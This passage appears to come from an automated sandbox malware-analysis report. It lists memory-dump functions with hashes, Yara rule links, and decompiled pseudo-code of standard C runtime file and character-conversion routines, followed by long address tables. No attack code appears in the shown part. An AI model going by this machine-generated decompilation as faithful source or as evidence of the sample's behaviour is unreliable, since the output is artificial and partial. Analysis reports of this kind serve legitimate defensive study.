                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __decode_pointer__fileno__getptd_noexit__locking
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 2395185920-0
                                                                                                                                                                                          • Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                                                                                                                                                                          • Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
                                                                                                                                                                                          • Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                                                                                                                                                                          • Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0081BCFA, Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 1291973410-0
                                                                                                                                                                                          • Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                                                                                                                                                                          • Instruction ID: 66771610227fa605034c79683780f27281b0a91f8d673a0b5b3e348a83e12b97
                                                                                                                                                                                          • Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                                                                                                                                                                          • Instruction Fuzzy Hash: CC41C271A006089BDF288F69D8846DEBBBAFF80360F24852DE425D7150D770DEC18B41
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00405D00, Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 97%
                                                                                                                                                                                          			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}



















                                                                                                                                                                                          0x00405d00
                                                                                                                                                                                          0x00405d00
                                                                                                                                                                                          0x00405d00
                                                                                                                                                                                          0x00405d01
                                                                                                                                                                                          0x00405d07
                                                                                                                                                                                          0x00405e7f
                                                                                                                                                                                          0x00405e7f
                                                                                                                                                                                          0x00405e7f
                                                                                                                                                                                          0x00405e83
                                                                                                                                                                                          0x00405d0d
                                                                                                                                                                                          0x00405d0d
                                                                                                                                                                                          0x00405d14
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405d1a
                                                                                                                                                                                          0x00405d1a
                                                                                                                                                                                          0x00405d20
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405d2f
                                                                                                                                                                                          0x00405d34
                                                                                                                                                                                          0x00405d38
                                                                                                                                                                                          0x00405dad
                                                                                                                                                                                          0x00405db0
                                                                                                                                                                                          0x00405db2
                                                                                                                                                                                          0x00405db2
                                                                                                                                                                                          0x00405db2
                                                                                                                                                                                          0x00405db5
                                                                                                                                                                                          0x00405db7
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405dbd
                                                                                                                                                                                          0x00405dbd
                                                                                                                                                                                          0x00405dc1
                                                                                                                                                                                          0x00405df8
                                                                                                                                                                                          0x00405dfb
                                                                                                                                                                                          0x00405dfd
                                                                                                                                                                                          0x00405e04
                                                                                                                                                                                          0x00405e09
                                                                                                                                                                                          0x00405e0c
                                                                                                                                                                                          0x00405e0e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405dff
                                                                                                                                                                                          0x00405dff
                                                                                                                                                                                          0x00405e10
                                                                                                                                                                                          0x00405e10
                                                                                                                                                                                          0x00405e12
                                                                                                                                                                                          0x00405e73
                                                                                                                                                                                          0x00405e78
                                                                                                                                                                                          0x00405e14
                                                                                                                                                                                          0x00405e14
                                                                                                                                                                                          0x00405e18
                                                                                                                                                                                          0x00405e2e
                                                                                                                                                                                          0x00405e2e
                                                                                                                                                                                          0x00405e32
                                                                                                                                                                                          0x00405e34
                                                                                                                                                                                          0x00405e37
                                                                                                                                                                                          0x00405e38
                                                                                                                                                                                          0x00405e3c
                                                                                                                                                                                          0x00405e43
                                                                                                                                                                                          0x00405e45
                                                                                                                                                                                          0x00405e45
                                                                                                                                                                                          0x00405e43
                                                                                                                                                                                          0x00405e4c
                                                                                                                                                                                          0x00405e4e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405e50
                                                                                                                                                                                          0x00405e50
                                                                                                                                                                                          0x00405e50
                                                                                                                                                                                          0x00405e55
                                                                                                                                                                                          0x00405e57
                                                                                                                                                                                          0x00405e59
                                                                                                                                                                                          0x00405e59
                                                                                                                                                                                          0x00405e61
                                                                                                                                                                                          0x00405e66
                                                                                                                                                                                          0x00405e69
                                                                                                                                                                                          0x00405e6b
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405e6d
                                                                                                                                                                                          0x00405e6f
                                                                                                                                                                                          0x00405e71
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405e71
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405e50
                                                                                                                                                                                          0x00405e1a
                                                                                                                                                                                          0x00405e1f
                                                                                                                                                                                          0x00405e24
                                                                                                                                                                                          0x00405e27
                                                                                                                                                                                          0x00405e2a
                                                                                                                                                                                          0x00405e2c
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405e2c
                                                                                                                                                                                          0x00405e18
                                                                                                                                                                                          0x00405e12
                                                                                                                                                                                          0x00405dc3
                                                                                                                                                                                          0x00405dc9
                                                                                                                                                                                          0x00405dcb
                                                                                                                                                                                          0x00405dcc
                                                                                                                                                                                          0x00405dcd
                                                                                                                                                                                          0x00405dd4
                                                                                                                                                                                          0x00405ddb
                                                                                                                                                                                          0x00405ddd
                                                                                                                                                                                          0x00405de5
                                                                                                                                                                                          0x00405de7
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405ded
                                                                                                                                                                                          0x00405ded
                                                                                                                                                                                          0x00405df0
                                                                                                                                                                                          0x00405df7
                                                                                                                                                                                          0x00405df7
                                                                                                                                                                                          0x00405de7
                                                                                                                                                                                          0x00405dc1
                                                                                                                                                                                          0x00405d3a
                                                                                                                                                                                          0x00405d3c
                                                                                                                                                                                          0x00405d3e
                                                                                                                                                                                          0x00405d3e
                                                                                                                                                                                          0x00405d43
                                                                                                                                                                                          0x00405e79
                                                                                                                                                                                          0x00405e7a
                                                                                                                                                                                          0x00405e7a
                                                                                                                                                                                          0x00405e7e
                                                                                                                                                                                          0x00405d49
                                                                                                                                                                                          0x00405d4d
                                                                                                                                                                                          0x00405d77
                                                                                                                                                                                          0x00405d79
                                                                                                                                                                                          0x00405da7
                                                                                                                                                                                          0x00405dac
                                                                                                                                                                                          0x00405d7b
                                                                                                                                                                                          0x00405d80
                                                                                                                                                                                          0x00405d80
                                                                                                                                                                                          0x00405d87
                                                                                                                                                                                          0x00405d89
                                                                                                                                                                                          0x00405d89
                                                                                                                                                                                          0x00405d91
                                                                                                                                                                                          0x00405d96
                                                                                                                                                                                          0x00405d9b
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405da1
                                                                                                                                                                                          0x00405da5
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405da5
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405d80
                                                                                                                                                                                          0x00405d4f
                                                                                                                                                                                          0x00405d54
                                                                                                                                                                                          0x00405d59
                                                                                                                                                                                          0x00405d5c
                                                                                                                                                                                          0x00405d61
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405d67
                                                                                                                                                                                          0x00405d6f
                                                                                                                                                                                          0x00405d74
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405d74
                                                                                                                                                                                          0x00405d61
                                                                                                                                                                                          0x00405d4d
                                                                                                                                                                                          0x00405d43
                                                                                                                                                                                          0x00405d38
                                                                                                                                                                                          0x00405d20
                                                                                                                                                                                          0x00405d14
                                                                                                                                                                                          0x00000000

                                                                                                                                                                                          APIs
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: _fseek_malloc_memset
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 208892515-0
                                                                                                                                                                                          • Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
                                                                                                                                                                                          • Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
                                                                                                                                                                                          • Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
                                                                                                                                                                                          • Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040BAAA, Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 91%
                                                                                                                                                                                          			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}





























                                                                                                                                                                                          0x0040baaa
                                                                                                                                                                                          0x0040baba
                                                                                                                                                                                          0x0040bae0
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bac1
                                                                                                                                                                                          0x0040bac1
                                                                                                                                                                                          0x0040bac4
                                                                                                                                                                                          0x0040bac6
                                                                                                                                                                                          0x0040bae7
                                                                                                                                                                                          0x0040baea
                                                                                                                                                                                          0x0040baec
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040baee
                                                                                                                                                                                          0x0040baf3
                                                                                                                                                                                          0x0040baf6
                                                                                                                                                                                          0x0040baf9
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bafe
                                                                                                                                                                                          0x0040bb02
                                                                                                                                                                                          0x0040bb09
                                                                                                                                                                                          0x0040bb0c
                                                                                                                                                                                          0x0040bb0f
                                                                                                                                                                                          0x0040bb11
                                                                                                                                                                                          0x0040bb1b
                                                                                                                                                                                          0x0040bb13
                                                                                                                                                                                          0x0040bb16
                                                                                                                                                                                          0x0040bb16
                                                                                                                                                                                          0x0040bb22
                                                                                                                                                                                          0x0040bb24
                                                                                                                                                                                          0x0040bbe9
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bb2a
                                                                                                                                                                                          0x0040bb2a
                                                                                                                                                                                          0x0040bb2d
                                                                                                                                                                                          0x0040bb2d
                                                                                                                                                                                          0x0040bb33
                                                                                                                                                                                          0x0040bb64
                                                                                                                                                                                          0x0040bb64
                                                                                                                                                                                          0x0040bb67
                                                                                                                                                                                          0x0040bbc0
                                                                                                                                                                                          0x0040bbc7
                                                                                                                                                                                          0x0040bbca
                                                                                                                                                                                          0x0040bbf5
                                                                                                                                                                                          0x0040bbf5
                                                                                                                                                                                          0x0040bbf7
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bbfb
                                                                                                                                                                                          0x0040bbcc
                                                                                                                                                                                          0x0040bbcf
                                                                                                                                                                                          0x0040bbd2
                                                                                                                                                                                          0x0040bbd3
                                                                                                                                                                                          0x0040bbd6
                                                                                                                                                                                          0x0040bbd8
                                                                                                                                                                                          0x0040bbda
                                                                                                                                                                                          0x0040bbda
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bbd8
                                                                                                                                                                                          0x0040bb69
                                                                                                                                                                                          0x0040bb6b
                                                                                                                                                                                          0x0040bb78
                                                                                                                                                                                          0x0040bb78
                                                                                                                                                                                          0x0040bb7c
                                                                                                                                                                                          0x0040bb7e
                                                                                                                                                                                          0x0040bb82
                                                                                                                                                                                          0x0040bb84
                                                                                                                                                                                          0x0040bb87
                                                                                                                                                                                          0x0040bb87
                                                                                                                                                                                          0x0040bb87
                                                                                                                                                                                          0x0040bb89
                                                                                                                                                                                          0x0040bb8a
                                                                                                                                                                                          0x0040bb94
                                                                                                                                                                                          0x0040bb95
                                                                                                                                                                                          0x0040bb9a
                                                                                                                                                                                          0x0040bb9d
                                                                                                                                                                                          0x0040bba0
                                                                                                                                                                                          0x0040bc03
                                                                                                                                                                                          0x0040bc03
                                                                                                                                                                                          0x0040bc07
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bba2
                                                                                                                                                                                          0x0040bba2
                                                                                                                                                                                          0x0040bba4
                                                                                                                                                                                          0x0040bba6
                                                                                                                                                                                          0x0040bba8
                                                                                                                                                                                          0x0040bba8
                                                                                                                                                                                          0x0040bbaa
                                                                                                                                                                                          0x0040bbad
                                                                                                                                                                                          0x0040bbaf
                                                                                                                                                                                          0x0040bbb1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bbb3
                                                                                                                                                                                          0x0040bbb3
                                                                                                                                                                                          0x0040bbb3
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bbb3
                                                                                                                                                                                          0x0040bbb1
                                                                                                                                                                                          0x0040bba0
                                                                                                                                                                                          0x0040bb6e
                                                                                                                                                                                          0x0040bb74
                                                                                                                                                                                          0x0040bb76
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bb76
                                                                                                                                                                                          0x0040bb35
                                                                                                                                                                                          0x0040bb38
                                                                                                                                                                                          0x0040bb3a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bb3c
                                                                                                                                                                                          0x0040bbf1
                                                                                                                                                                                          0x0040bbf1
                                                                                                                                                                                          0x0040bbf1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bbf1
                                                                                                                                                                                          0x0040bb42
                                                                                                                                                                                          0x0040bb44
                                                                                                                                                                                          0x0040bb46
                                                                                                                                                                                          0x0040bb48
                                                                                                                                                                                          0x0040bb48
                                                                                                                                                                                          0x0040bb50
                                                                                                                                                                                          0x0040bb55
                                                                                                                                                                                          0x0040bb58
                                                                                                                                                                                          0x0040bb5a
                                                                                                                                                                                          0x0040bb5d
                                                                                                                                                                                          0x0040bb5f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bbe1
                                                                                                                                                                                          0x0040bbe1
                                                                                                                                                                                          0x0040bbe1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bb2a
                                                                                                                                                                                          0x0040bb24
                                                                                                                                                                                          0x0040bac8
                                                                                                                                                                                          0x0040bac8
                                                                                                                                                                                          0x0040bacd
                                                                                                                                                                                          0x0040bace
                                                                                                                                                                                          0x0040bacf
                                                                                                                                                                                          0x0040bad0
                                                                                                                                                                                          0x0040bad1
                                                                                                                                                                                          0x0040bad2
                                                                                                                                                                                          0x0040bad8
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040badd

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • __flush.LIBCMT ref: 0040BB6E
                                                                                                                                                                                          • __fileno.LIBCMT ref: 0040BB8E
                                                                                                                                                                                          • __locking.LIBCMT ref: 0040BB95
                                                                                                                                                                                          • __flsbuf.LIBCMT ref: 0040BBC0
                                                                                                                                                                                            • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                                                            • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3240763771-0
                                                                                                                                                                                          • Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                                                                                                                                                                          • Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
                                                                                                                                                                                          • Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                                                                                                                                                                          • Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 008254EF, Relevance: 6.1, APIs: 4, Instructions: 103COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00825523
                                                                                                                                                                                          • __isleadbyte_l.LIBCMT ref: 00825557
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00825588
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 008255F6
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3058430110-0
                                                                                                                                                                                          • Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                                                                                                                                                                          • Instruction ID: c14320af1eaa534edee216ec8aa3951d4ea039bc31702009667ce32854a48b24
                                                                                                                                                                                          • Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                                                                                                                                                                          • Instruction Fuzzy Hash: 3431BC31A5066AEFDB20DFA8E9809BE3BB6FF00311B1485A9E465CB191E730DD80DB51
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0041529F, Relevance: 6.1, APIs: 4, Instructions: 103COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 100%
                                                                                                                                                                                          			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
